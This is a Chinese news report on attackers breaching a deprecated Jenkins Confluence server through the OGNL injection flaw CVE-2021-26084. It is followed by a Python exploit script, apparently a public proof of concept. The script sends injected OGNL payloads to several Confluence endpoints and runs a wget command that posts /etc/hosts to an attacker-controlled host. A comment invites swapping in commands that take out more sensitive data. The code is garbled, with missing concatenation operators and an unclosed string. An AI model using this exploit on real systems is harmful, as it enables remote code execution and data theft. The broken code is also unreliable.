Jenkins——一种流行的开源自动化服务器软件——的维护者在身份不明的威胁行为者通过利用最近披露的 Atlassian Confluence 服务中的一个漏洞安装加密货币矿工,获得了对其服务器的访问权限后,披露了一个安全漏洞。
据信上周发生的“成功攻击”是针对其自 2019 年 10 月以来已弃用的 Confluence 服务进行的,导致该团队使服务器脱机、轮换特权凭据并为开发人员帐户重置密码。
“目前我们没有理由相信任何 Jenkins 版本、插件或源代码受到影响,”该公司在周末发表的一份声明中表示。
这一披露是在美国网络司令部针对影响 Atlassian Confluence 部署的现已修补的关键安全漏洞在野外正在进行的大规模利用企图。
该漏洞被追踪为 CVE-2021-26084(CVSS 评分:9.8),与 OGNL(对象图导航语言)注入漏洞有关,在特定情况下,该漏洞可被利用在 Confluence 服务器或数据中心实例上执行任意代码。
根据网络安全公司 Censys 的数据,该公司是一家用于查找互联网设备的搜索引擎,在该漏洞的详细信息于 8 月 25 日公开之前,发现了大约 14,637 台暴露和易受攻击的 Confluence 服务器,随着公司的继续发展,这一数字已降至 9 月 5 日的 8,597 台应用 Atlassian 的补丁并将受影响的服务器从 Internet 上移除。
CVE-2021-26084
Confluence OGNL 注入
CVE-2021-26084 是 Atlassian Confluence Webwork 实现中的一个对象图导航语言 (OGNL) 注入漏洞。未经身份验证的远程攻击者可以通过向 Confluence 服务器或数据中心实例上的易受攻击的端点发送特制请求来利用此漏洞。成功的利用将允许攻击者执行任意代码。
CVE-2021-26084.py
代码语言:javascript复制import requests
import sys
import logging
from requests.packages import urllib3
logging.basicConfig(level=logging.DEBUG)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
#DorkerDevil
#no def. not dropping any shell.
#log the requests
list_endpoint = [ #hit multiple endpoints
"/pages/createpage-entervariables.action?SpaceKey=x",
"/pages/doenterpagevariables.action",
"/pages/createpage.action?spaceKey=myproj",
"/users/user-dark-features",
"/pages/templates2/viewpagetemplate.action",
"/template/custom/content-editor",
"/templates/editor-preload-container",
"/pages/createpage-entervariables.action"]
collab = sys.argv[1]
src_url = sys.argv[2]
#change the command as per ur need , cuz its harmless but still u can exfil. some nasty stuff out of the system
dirty_command = 'wget --post-file /etc/hosts' collab
for l in list_endpoint:
target_url = src_url l
target_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36", "Accept": "text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
target_data = {"queryString": "dropdead\u0027,(linkCreation)(0xd0ff90),\u0027dropdead, "linkCreation": "@java.lang.Runtime@getRuntime().exec('" dirty_command "')"}
requests.post(target_url, headers=target_headers, data=target_data, verify=False)